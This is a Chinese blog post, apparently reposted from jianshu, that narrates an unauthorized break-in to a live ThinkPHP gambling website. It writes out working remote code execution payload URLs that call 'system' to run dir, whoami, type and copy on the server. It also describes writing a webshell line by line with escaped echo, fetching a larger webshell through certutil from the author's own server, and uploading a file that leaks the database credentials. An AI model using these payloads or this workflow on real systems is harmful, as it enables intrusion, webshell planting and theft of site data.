无意间发现一个thinkphp的菠菜站,最近tp不是刚好有个漏洞吗?
然后就顺手测试了一下,但过程并不太顺利,不过最后还是拿下了,所以特发此文分享下思路。
0x00 一键getshell
简单看了下,应该有不少人玩吧?
![](https://i-blog.csdnimg.cn/blog_migrate/5ed239fb4b43d13543b43fb94e66a265.png)
正好前几天写了个测试工具,先掏出来测试一发。
工具显示存在漏洞
![](https://i-blog.csdnimg.cn/blog_migrate/6e2733dbc552726aefa8a6c83ef9d5a0.png)
一键getshell,看起来很顺利的样子,哈哈。
![](https://i-blog.csdnimg.cn/blog_migrate/ee30d51bfba614d448c8be14cdb8569a.png)
但是...小明甩了下头发,发现事情并不简单。
![](https://i-blog.csdnimg.cn/blog_migrate/dc837f1074ff5d213e06cc14c92c9370.png)
菜刀连接的时候,返回500错误。
![](https://i-blog.csdnimg.cn/blog_migrate/c97930c2253ad9693d6e971fe30fd5c7.png)
我们用火狐的hackbar验证下,没毛病啊,那为什么菜刀连接不上呢?
作为菜逼的我不禁陷入了沉思...
![](https://i-blog.csdnimg.cn/blog_migrate/db5ec066108114fe0dcef1dc1bb4cd9e.png)
0x01 开始分析
因为这个工具我自己写的,从上面getshell的图片中发现调用的是第三个exp,那么我们来分析下看看。
poc如下
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir
我们在poc后面输入whoami看看权限。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
iis权限
但是可以执行部分命令,比如echo dir等等。
![](https://i-blog.csdnimg.cn/blog_migrate/66523e298f90a1d16042fc530c8a3980.png)
0x02 尝试突破拿shell
既然可以执行echo 那么我们可以来尝试写入个小马试试,如果成功的话,再利用小马上传大马,说干就干,苦活来了,我们得一行一行写入进去。
注意:代码中的<>符号,要用^^转义。比如<?php转义为^<^?php
![](https://i-blog.csdnimg.cn/blog_migrate/893038a90f755f7773be669c23503301.png)
逐行写入完成后,访问的时候发现并不能正常运行,这里忘记截图了。。
接下来尝试用以下方法下载文件到服务器上也失败了。
![](https://i-blog.csdnimg.cn/blog_migrate/e564e02632f2a2bce314dad2578edc8d.png)
正当我打算放弃的时候,我想起来还有个下载的命令没用。
那就是certutil.exe
说干就干,把大马放到我们服务器上,开启HFS。
然后执行以下命令。
![](https://i-blog.csdnimg.cn/blog_migrate/77dd084f58950c7506bad117adb5a0fe.png)
成功进入大马,不过别高兴太早。
![](https://i-blog.csdnimg.cn/blog_migrate/819febb6262936dedbbbb8331ebd828e.png)
小明再次甩了下头发,发现事情更不简单....
![](https://i-blog.csdnimg.cn/blog_migrate/28e62b797f29742e3fe0a48db36f73be.png)
大马可以操作文件上传改名等等,但是无法编辑文件,无法查看文件源码等等,点开显示一片空白。
![](https://i-blog.csdnimg.cn/blog_migrate/11de53a2a8d3802b9d850205cb79f5fc.png)
既然这样,那么我们进数据库看看吧。
我们都知道tp的数据库配置文件在以下这个位置
/application/database.php
大马是无法打开了,那么我们可以用tp的命令执行漏洞尝试用type命令去读取这个文件。
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=typec:\www\application\database.php
尝试type读取失败,然后又想到copy命令。
把database.php拷贝到web根目录下,改名为1.txt
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=copyc:\www\application\database.php c:\www\public\1.txt
拷贝完成以后访问url/1.txt,发现里面是空的。
0x03 成功突破
经历了一系列的失败后,我冷静下来想了下,我们还可以用file_path去读取源码试试。
![](https://i-blog.csdnimg.cn/blog_migrate/f92ab98562b7e729947bc1e18a29304b.png)
用大马上传这个文件到根目录下,然后访问,成功拿到数据库配置信息。
![](https://i-blog.csdnimg.cn/blog_migrate/6bfddb10fa038d9ac7a0e3c13eb4fa68.png)
然后填写好配置信息,进入数据库。
![](https://i-blog.csdnimg.cn/blog_migrate/1354f493359e8f41201eab8a233b2cb3.png)
![](https://i-blog.csdnimg.cn/blog_migrate/2da3266de5a3b1da5e733fd400f8a978.png)
此文写到这里已经夜深人静,看着桌子上吃了一半的泡面,最后喝了两口汤,关机,睡觉....
转载于原文链接:https://www.jianshu.com/p/1f9b02780f1c